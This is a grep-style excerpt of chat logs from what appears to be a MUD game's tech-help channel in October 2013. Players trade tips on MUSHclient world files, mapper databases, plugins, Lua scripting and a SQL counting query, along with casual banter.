T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ayasinda Tech: give each bag a unique keyword
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: but i will try the rename of the world file along with the corresponding db
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: Exiled To Aphelion . o O ( not if you have a portal db that loads keyed to a character )
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: nod, I have my aardbags keyworded generalbag, potsbag, portalbag, weaponbag, etc
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: is that all i have to rename? the world file and the db file to the same thing?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: depending on what other stuff you use, yeah...other plugins store things in the plugin state file, and that file is named worldIDpluginID
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how do i parse a database string to virtualize my emulator?  (on a linux box)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: if your alt aardbags are with different keywords, almost same result as itemIDs
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: except keywords would be the same on all my characters, while itemIDs surely are not
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: and itemIDs didn't exist
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: not all aard eq has an item ID
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: all items have itemIDs
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: not all aarditems have serial numbers
T3/r7/2013-10-13.txt.gz:{chan ch=tech}SweetSnail Anaristos Tech: if each character runs off an external database then it doesn't matter. If you keep your info in client variables, of course there will be problems.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Ontuct Tech: it just costs tp to add keywords for each item each alt
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: i don't see a file called worldIDpluginID
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: one TP for keyword, and not that many aardbags to do it to
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: cryos: the files in the state folder have that pattern for their name
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: ah
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: but you don't need to worry about those, because that name includes the world's ID, so it's independent per world...i.e. it'll keep your variables separate
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: in zMud, use #va zz (alt_uniquekeyword/itemID) to access the aardbag with hhhhh - works across all alts if each maintains a different variable file
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: just need to move them all to the corresponding folder along with the <worldfile> and the <db file>
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: shouldn't need to move folders at all
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: in zMud, use #va zz (alt_uniquekeyword/itemID) to access the aardbag with @zz - works across all alts if each maintains a different variable file
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: if you're going to use a different folder (i.e. a whole different MUSHclient install) then you don't need to rename any worlds
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: using a world named something other than aardwolf would allow you to use a single MUSHclient folder for everything
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: i want to use 1 install to have my chars in
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: right now they are in their own install of mush. want to combine them
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: OK, so doing it that way, you need to generate a new ID number for the new world file rather than the stock of e0eb198d8d5698e3b2f61483
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: and then, for the state files in the state folder, note that they all start with "e0eb198d8d5698e3b2f61483-"...you'd change that to the new ID
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: or let the plugins generate new state files and redo any of those variables
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: in other aardmushclient bugs, AardMushClient seeks to logon to Aardwolf with the Aardwolf prompt even though the Zade worldfile is configured to not logon until the user clicks on connect - so here is a rogue worldfile default
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: where do you have it configured to not logon until the user clicks on connect?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arnica Tech: Global preferences -> Worlds to open on startup
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: I'm betting that's not where he changed it...Zade needs to answer, not you :P
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arnica Tech: I was telling him how to fix it, not answer the question you inserted :)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: that's not where he should fix it, either
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: (a delay while i bring up the other computer with the aardmushclient (with the internet hardware off))
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: Connect -> autoconnect is not clicked, yet a vanilla startup screen states "Unable to resolve host name for "aardmud.org" code=1101 (Host not found)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: that is a poorly-named configuration...it's really autologin-with-user-pass, not connect...gotta complain to gammon about it rather than Fiendish, though
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: when connected to the internet, the host name is found, and the Aardwolf charactername prompt is displayed - which is scary since autoconnect is supposedly off
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: ooo, scary
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: with the button array: contemplating a huge single hotspot, which when clicked returned the coordinates with in that button, and using those coordinates to lookup an array to determine which subdivision/button was accessed - seems faster than coding several hundred hotspots
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: or better, you could go play WoW and leave us alone :-)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: that yet leaves the diifficulty of autocoding/autoupdating the one huge screen display (over several hundered small button displays) to overlay where that huge hotspot is
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: maybe Nick Gammon may add decent multibutton support similar to the zMud multibutton support (and i'd never waste-time on WoW) 
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: what do you mean multi button support?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: an array of buttons say 7 or 8 columns by 40 rows - to setup that in a plugin from an array
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: to do what?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: why do you have so many buttons?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: You mean a plugin you can just click on like a mini-window for setting skills/spells in that window to fire when you click on it.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: one huge hotspot involves less cpu overhead from Windows (only if windows/mushclient returns *where* within that huge hotspot the mouse was clicked)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: you can get that information with one huge hotspot
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: you would have to write that plugin yourself
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: Zade: There is a plugin similar, but you would need to modify it.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: http://www.gammon.com.au/forum/?id=9359
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: since that huge hotspot represents an array of buttons, that yet leaves the "how" that visual display to be autocoded into that display from the array of button values (so as to minimise cpu overhead)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: why do you care about cpu overhead... todays processors are so fast that the small bit of overhead is negligable
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: cpu overhead isn't impacted
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: are you runing this on a commodore 64 or something? why would cpu ever matter now days
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: for a text based game!
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: inefficient coding is able to lag down even a fast computer, especially when dealing with huge arrays
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: im sorry your array of what 320 items is not going to slow anything down... if it was int he millions okk.. but you just want 8 by 40, its nothing
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Zade Tech: if a gaming computer was worth $2000 a year ago, how much is that same gaming computer worth today (seen such a year old unsold computer on "sale" at a big box store)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Cryos Tech: $500
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Prolithe Tech: how do i reset the plugin windows in mush ?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Loreli Tech: Does anyone know how to put in the 'enter X' commands for mapping in tintin++?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: are you using Ixle's aard-packaged tintin++? If so, have you checked out the paths.tin file?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Loreli Tech: Yes. I'm looking at the paths.tin file now. I think the makent might be the alias? However, I don't understand what it's doing because there isn't a <direction>?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: the renaming of the world file and db file isn't working =/
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Prolithe Tech: anyone know mush?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: nobody does
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Prolithe Tech: heh
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Gonf Tech: just ask your question...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Prolithe Tech: do you know how to reset plugin windows location?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: type resetaard
T3/r7/2013-10-13.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: which plugin?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: for any plugin windows which follow Fiendish's convention
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Prolithe Tech: that was the command abelinc :) thank you
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: some third party plugins have their own commands/conventions...I make mine all listen to resetaard
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: trying to combine all my chars to the same mushclient using different mapper db, renaming the <worldfile> and the <dbfile> isn't working, still wants to use "Aardwolf.db"
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: heh, so now we know that Sylra is Cryos ;-)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: =)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: any suggestions on how to do this?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: You need AardwolfCryos and AardwolfSylra file names for all. lol
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: well, abe claimed it was based on world file name, but i was pretty sure aardwolf.db was the hardcoded filename in the plugin
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: do they need to be called Aardwolf<name>? can it just be <name>
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: which means, you would need separate installs
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: it's hardcoded as worldname.db
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: the whole point was to not have seperate installs lol
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: then he shouldn't be getting the behaviour he is describing, abe
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Mr. Dash Tech: of course, he could be doing it wrong ;)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: note that worldname is as defined in game -> configure -> MUD Name/IP address
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: not necessarily hte world's mcl file name
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you can name the .mcl file anything you like, but the .mcl file needs to call the world the same thing as the db file
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: there is a variable in the mcl file that has the variable <world name="Aardwolf" >
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: so chaning that will work you think?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: you'll see the impact in the titlebar of MUSHclient itself...the title of MUSH should now be MUSHclient - [Aardwolf]
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: that [Aardwolf] is the world
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: brb trying this out
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: nope the bigmapper is still reset to nothing =/
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: what is the title of your window?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: nevermind... guess i didn't save it to the mcl file that time
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: I just tested it by going to game -> MUD Name/IP, changed it to Testname...closed out, re-opened MUSHclient...it loaded with a blank dbfile...mapper showroom 12345 said no area...closed out, renamed Aardwolf.db (after deleting the blank one it created), reopened MUSHclient, mapper showroom 12345 displayed Along River Angor
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: it fully follows the name set there, while leaving the .mcl file named as it was
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: i got it working... just had to edit the variable int he mcl file to the db name and yes now the title on the mushclient says MUSHclient - [Sylra]
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: how come the noexp prompt isn't being added to my prompt when active?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: type promptflags
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: thanks
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Ok, I use the blowtorch test client. Before I load my settings, I can door. After I load my settings, it freezes the client and essentially makes it so I need to redownload it. Any help?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Velian Tech: test client? do you mean the Aardwolf download?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: I do not. Blowtorch v2
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: There is a Test Client of Blowtorch that is expanded considerably.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: The issue is somewhere in my settings, I think...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Velian Tech: ahh, gotcha
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Turie Tech: I have not played with it.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: But I have no idea where.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Velian Tech: possibly, you might also submit a bug report to whoever makes it...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Velian Tech: bug report with the blowtorch settings files (if no personal info in it)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: I'll do that as well, I'd just like to fix it.. lol I had an alias that updated my area when I doored, and thats when the issue started.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: I deleted that, though.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: And I don't have anything else that affects door... and its only that spell, I think.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: how would i get mushclient to load worlds but not connect to them?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Saferis Tech: Is this where i can get help with the Aardwolf client (MUSHclient) or should I go somewhere else?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sylra Tech: this is as good as any place
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Saferis Tech: k. Then here goes my question: How do I change font size for the main window?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}<pretitle> Scars Tech: game -> configure -> output
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Saferis Tech: It doesn't seem to do anything. Should I restart, or apply somehow?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}<pretitle> Scars Tech: strange, it certainly works for me
T3/r7/2013-10-13.txt.gz:{chan ch=tech}<pretitle> Scars Tech: jsut changed from 9 to 10pt font and it did what i expected it to do
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sonshi Tech: if you don't see additional font sizes for that font, try another font...
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Saferis Tech: different font did the trick. thanks!
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Sonshi Tech: whee!
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude adds Sonshi to group wheel using gadm -G
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arindel Tech: hey yall ive seen some cool exp/gold per hour scripts when grouping recently. id like to write my own for mushclient. what would I need to learn to do this? is it lua?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You can write in javascript or vbscript in Mushclient, but IMO Lua is the easiest solution, and more fully implemented and encouraged.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: ~70%+ of all mush scripts are Lua, very few are vbscript, and even less in js.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arindel Tech: awesome, thank you, besides just googling are there any good tutorials online you would recommend? for lua or mud scripting in general?
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lua-users.org
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lua.org/pil
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arindel Tech: sweet, i appreciate it
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: luarocks.org too
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But that's more for optimization and packaging
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: But honestly, you're best bet would be to take a known xp tracker program for mushclient (sharptracker's a good one), and pick it apart to see how it works, or just use it as is.
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: your*
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arindel Tech: ok cool, ya it would be great to have an example to work from
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://homepages.ihug.co.nz/~taramai/ <-- sharptracker
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Which, may actually have been broken partially by the new combat changes (honestly don't know, i use a custom written one)
T3/r7/2013-10-13.txt.gz:{chan ch=tech}Arindel Tech: haha no worries, ill have fun pickin it apart. I will want a custom one anyways 
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Maximon Tech: anyone know how to make sharp tracker report overall stats
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Forgotten Starphoenix Tech: anyone have a suggestion for a mobile mud client for a windows phone?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Divlia Tech: I'm using mush, got problems. While fighting or moving, whatever I do, I see a line of text, then it's like 1s of lag, then have all missing lines at once, 1s of lag again. Any tips?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Ayasinda Tech: do you have a lot of plugins running?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Divlia Tech: I've disabled them, same problem
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Ayasinda Tech: then I don't know anymore. Maybe someone with more knowledge than me here.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'm trying to come up with a SQLite SQL statement.  I have 2 tables.  One table has shopping receipts, the other table are all the items bought on all receipts.  But an item can appear more than once on a receipt.  
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'm trying to come up with an SQL statement, which counts everytime an item appears on a receipt, but only counts the item once even if it appears more than once on a receipt.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Ranrr Tech: select distinct iirc
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: or group by reciept combined with a count statement
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah I figure a distinct would be involved, I just don't know how to structure it along with a count...
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Select distinct will work, but it will have a whole lot of joining going on - hope you have either a small db or a fast machine!
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah maybe just better if I just do it with a for loop.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I can wrap my head around those easy
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I would pluck out a select distinct on a join on each receipt number, and run up a count array in code, not sql
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Ahhh that'll work great Vakieh, and really that's the missing first step I was trying to think of for doing it in SQL...
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sorry forgot the l, Valkieh :P
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: you just want how many times any given item was purchased, regardless of whether it's one guy buying the lot, or a bunch of singles? then group by
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Yeah I'd be able to do taht Abel, but I only want to count it once, regardless of how many times it's been bought.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Basically a binary, was it purchased, or not.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Abelinc, sounded to me like it was a count of how many times a receipt included one or more of an item
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: you said counts every time an item appears on a receipt
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's a design pattern I've seen before - order table referencing order_item table... some of the sql statements people try and 'go clever' :\
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: if you just want "appears on any receipt", then you can actually still group by, but discard the aggregate
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So if you had 6 receipts, and item x was bought with 3 counts on #1, 1 count on #4, and 2 counts on #5, you would want to return 3.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sure it can be done in sql, but IMO the better way to do it (from a maintenance perspective) is to break up the sql.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Indeed. It's a group by statement and a single inner join, if it's only two tables?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If your db commands have too much overhead you might have an argument for a single sql statement, but it's doubtful
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Yes, there are plenty of times where it's just easier to split things up and let the code handle it. But IMO, such a short query is not worth it. *shrug*
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Ranrr Tech: code simplicity and clarity first, optimization second (when needed). imo.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tequila & Zhalt Tech: Indeed. Just avoid the bottle-necks :)
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Mencheres Tech: I accidentally locked my aard layout how do I unlock it?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Comanchee Tech: aard layout unlock
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Mencheres Tech: thanks
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Havvoc Tech: anyone knw what a macro is?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Turie Tech: It is like crtl+alt+delete, alt+f4.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: depends on the usage and the client...most of the clients consider it to be a key combination pressed which performs an action
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: my client is a bit retarded and uses macro and alias somewhat similarly, to where each of them don't generally fire until after the enter key is pressed, and it uses the term keybindings for what others call macros (plus what MUSHclient calls accelerators)
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Keybindings is so much more descriptive.
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: yeah, but when typing "foo" is an alias, but "/foo" is a macro, that's just weird ;-)
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: it kind of boils down to tf being written from a programmer's perspective, so it's using the programmer macro definition, while the GUI clients were written more from office user perspective, and they're used to things like "automator" utilities being called macros
T3/r7/2013-10-14.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: That makes a lot of sense
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tech: tinyfugue really uses the macro term for the function itself, and it just happens to be able to be called from the command line with syntax similar to an alias by using the leading "/" (like you can use \\\MUSHScriptCommand() in MUSH)
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: will people cut the cord in favor of netflix / hulu?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tasty Tipro Tech: How do I check my overall battery health on an HP PC running Windows 7?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Saferis Tech: i would assume that HP has made some kind of utility for that...
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Tasty Tipro Tech: there is a little meter showing my current battery life, but I'm looking for the longterm health of the battery
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Quadrapus Tech: Any image processing people around?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Mr. Dash Tech: maybe
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Pleiades Tech: depends
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Martini & Tyebald Tech: I've taken pictures with my phone.  does that count?
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Pleiades Tech: what are you trying to do
T3/r7/2013-10-14.txt.gz:{chan ch=tech}Mr. Dash Tech: quad?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Velian Tech: anyone know if there is a command in cmud to execute a macro via an alias?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you do it the other way around
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Sexy Troll Fantomex Tech: I printed out this funny gif, but it's frozen... Should I take the printer to repair? :(
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Did you learn nothing from Harry Potter? In order for the photo to move, you need to develop the image.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Sexy Troll Fantomex Tech: Oh!
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Sexy Troll Fantomex Tech: Incapable of learning so I must've missed that, nod
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need a mix of silver and phosphate. The good stuff is expensive, but if you put some coins in a cup and pee into it you have yourself some homemade development chemical.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: Sexy Troll Fantomex thanks Captain HR Vakieh heartily.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ralyn Tech: the S&D GUI for Mush got stuck at the top of my screen and I can't move it... is there anyway to get it off there?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ayasinda Tech: yes, delete it and stop using it :)
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Ralyn Tech: I'm not looking for a retarded answer, thanks
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: I made a modification to my mapper window for an area, I've saved the world details and it keeps resetting
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: any ideas on how to stop the mapper window to stop resetting?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What modification did you make?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: I removed a room exit
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The mapper is an auto-mapper, and it does so passively the whole time you walk through an area - if the mud sends the exit, the mapper adds it
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: then why give the option to remove an exit?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The mapper will always reflect the 'reality' of the mud - but you can place level locks on exits if you want to avoid them
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: I tried that too but it didn't save
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Some exits are hidden, and must be walked through manually - that will add them. If the mud removes them, the mapper won't know, thus the manual removal
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: if you want to 'remove' an exit as in not use it, i put a level lock of 292
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: I tried it with level 300
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: it didn't save
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: what do you mean didn't save
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: the mapper paths through it still?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: yes
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: did you lock it in the right direction?
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: yes
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: that's weird
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Rhuli Tech: I've done this as well and it works, not sure why it would not work for you.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Rhuli Tech: "Change exit level lock"... then it never runs through that room.
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Tech: Big Daddy Milquetoast is agreeing with that Rhuli person again...
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Big Daddy Milquetoast Tech: I'm aware how to do it, but it didn't keep saving. I'll try again
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: what sort of room is it
T3/r7/2013-10-15.txt.gz:{chan ch=tech}Redryn Tech: or what room is it
